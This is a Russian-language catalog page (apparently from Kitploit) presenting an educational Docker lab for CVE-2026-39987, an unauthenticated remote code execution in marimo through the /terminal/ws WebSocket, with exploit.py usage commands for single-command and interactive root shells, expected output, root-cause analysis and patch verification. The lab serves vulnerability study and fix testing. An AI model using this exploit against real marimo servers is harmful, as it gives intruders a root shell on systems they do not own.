Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-39987-lab-or-marimo-cve-lab — Образовательный Docker-лабораторный стенд, демонстрирующий CVE-2026-39987 — RCE без аутентификации через обход аутентификации WebSocket в marimo, с эксплойт-скриптом и шагами проверки патча. | Kitploit
Инструменты/GitHubGitHub/dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-39987-lab-or-marimo-cve-lab

Образовательный Docker-лабораторный стенд, демонстрирующий CVE-2026-39987 — RCE без аутентификации через обход аутентификации WebSocket в marimo, с эксплойт-скриптом и шагами проверки патча.

Репозиторий
4 месяцев назадЕщё не проверено

Руководство по лабораторной работе CVE-2026-39987

Удалённое выполнение кода без аутентификации через обход аутентификации WebSocket терминала

Образовательная Docker-лаборатория для понимания, воспроизведения и исправления этой критической уязвимости в marimo.


Содержание

  • Обзор
  • Архитектура
  • Быстрый старт
  • Пошаговое руководство
    • Шаг 1: Сборка и запуск лаборатории
    • Шаг 2: Подтверждение активной аутентификации
    • Шаг 3: Запуск эксплойта
    • Шаг 4: Понимание обхода
    • Шаг 5: Проверка исправления
  • Устранение неполадок
  • Очистка
  • Ссылки

Обзор

Цельmarimo <= 0.20.4 в режиме edit с включённой аутентификацией по токену
АтакующийЛюбой хост с Python 3 и websocket-client
Цель атакиПолучение интерактивной root-оболочки через /terminal/ws без предоставления токена аутентификации
ТипОбход аутентификации → Удалённое выполнение кода (RCE)
Исправлениеmarimo >= 0.23.0

⚠️ Только для этического использования: Эта лаборатория предназначена для исследователей безопасности, разработчиков и студентов, чтобы понять, как возникают уязвимости обхода аутентификации и как их правильно исправлять. Запускайте только в изолированных средах.


Архитектура

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                        Docker Network                         │
│                        (cve-lab)                              │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (Target)           │      │   (Attacker)         │   │
│   │   Port: 2718         │      │   Python 3.12        │   │
│   │   Auth: Token        │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Файлы в этой лаборатории:

ФайлНазначение
Dockerfile.targetСобирает уязвимый сервер marimo
docker-compose.yml

Быстрый старт

root@kitploit:~
# Клонируйте репозиторий
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# Запустите лабораторию
docker-compose up --build -d

# Запустите эксплойт
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# Получите интерактивную оболочку
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Пошаговое руководство

Шаг 1: Сборка и запуск лаборатории

root@kitploit:~
# Создайте рабочую директорию и поместите в неё эти файлы:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# Соберите и запустите цель
docker-compose up --build -d

# Проверьте, что цель запущена
docker ps
# Вы должны увидеть: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

Что происходит:

  • Docker собирает контейнер с marimo 0.20.4 (уязвимая версия)
  • Сервер запускается в режиме edit с явно включённой аутентификацией --token
  • Порт 2718 открыт для вашего хоста

Шаг 2: Подтверждение активной аутентификации

Перед эксплуатацией давайте убедимся, что цель должным образом защищена на легитимных конечных точках:

root@kitploit:~
# Попробуйте открыть основной интерфейс в браузере или через curl
curl -s http://127.0.0.1:2718/
# Ожидается: перенаправление на страницу входа или 401/403 (требуется токен)

# Попробуйте основной WebSocket (/ws) без токена
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Ожидается: соединение отклонено или закрыто немедленно из-за отсутствия аутентификации

Ключевое наблюдение: Основные конечные точки приложения корректно обеспечивают аутентификацию. Уязвимость находится во вторичной конечной точке, которая была упущена из виду.


Шаг 3: Запуск эксплойта

Вариант A — Выполнение одной команды

root@kitploit:~
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

Ожидаемый вывод:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

Вариант B — Интерактивная оболочка

root@kitploit:~
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Вы получите приглашение $, где можно выполнять произвольные системные команды:

root@kitploit:~
[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

Шаг 4: Понимание обхода

Почему это работает?

Уязвимость существует из-за несогласованной проверки аутентификации между конечными точками WebSocket:

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  Authentication Middleware (Starlette)                          │
│  ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│  └── Does NOT automatically close WebSocket connections         │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (Main)     │          │ /terminal/ws     │
    │                  │          │ (Terminal)       │
    │  ✓ validate_auth()│          │  ✗ NO auth check │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  Rejects unauth  │          │  ✓ Accepts immediately│
    └──────────────────┘          └──────────────────┘

Разбор первопричины

  1. Промежуточное ПО аутентификации (Starlette AuthenticationMiddleware) помечает неаутентифицированные соединения как UnauthenticatedUser, но не закрывает WebSocket-соединения автоматически.

  2. Корректные конечные точки (например, /ws) вызывают validate_auth() или используют @requires("edit"), отклоняя неаутентифицированных клиентов.

  3. Уязвимая конечная точка (/terminal/ws) проверяет только:

    • SessionMode.EDIT — гарантирует, что сервер находится в режиме редактирования
    • supports_terminal() — гарантирует доступность функции терминала
    • ...а затем немедленно вызывает await websocket.accept() без какой-либо проверки аутентификации.
  4. Воздействие: pty.fork() порождает полноценную PTY-оболочку, работающую от имени пользователя сервера (root в стандартном Docker-образе), что даёт атакующему полный доступ к системе.

Исправление (marimo >= 0.23.0)

Патч добавляет надлежащую проверку аутентификации в конечную точку /terminal/ws, обеспечивая её соответствие уровню безопасности других конечных точек.


Шаг 5: Проверка исправления

Обновите цель до исправленной версии и повторно запустите эксплойт, чтобы подтвердить исправление:

root@kitploit:~
# Отредактируйте Dockerfile.target: измените marimo==0.20.4 на marimo==0.23.0
# Или используйте: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# Попробуйте эксплойт снова
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

Ожидается после исправления:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required

Соединение теперь отклоняется/закрывается немедленно; оболочка не получается. ✅


Устранение неполадок


Очистка

root@kitploit:~
# Остановите и удалите контейнеры
docker-compose down -v

# Удалите собранный образ
docker rmi cve-lab_target

# Очистите все висячие образы
docker image prune -f

Ссылки

  • Рекомендации GitHub по безопасности: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • PR с исправлением: https://github.com/marimo-team/marimo/pull/9098
  • Запись CVE: https://cveawg.mitre.org/api/cve/CVE-2026-39987
  • Документация marimo: https://docs.marimo.io

Создано в образовательных целях. Используйте ответственно. 🔒

Скачать инструмент
Оркестрирует контейнеры цели и атакующего
exploit.pyPoC-скрипт эксплойта (режим одной команды + интерактивный режим)
LAB_GUIDE.mdЭто руководство
ПроблемаРешение
Connection refusedУбедитесь, что контейнер запущен: docker ps и проверьте логи с помощью docker logs marimo-vulnerable
ModuleNotFoundError: No module named 'websocket'Установите клиент: pip install websocket-client
Нет вывода от эксплойтаУвеличьте таймаут: python exploit.py ... --timeout 20
Контейнер немедленно завершает работуПроверьте синтаксис Dockerfile и убедитесь, что блокнот test.py создан правильно
Отказано в доступеУбедитесь, что демон Docker запущен и у вас есть соответствующие разрешения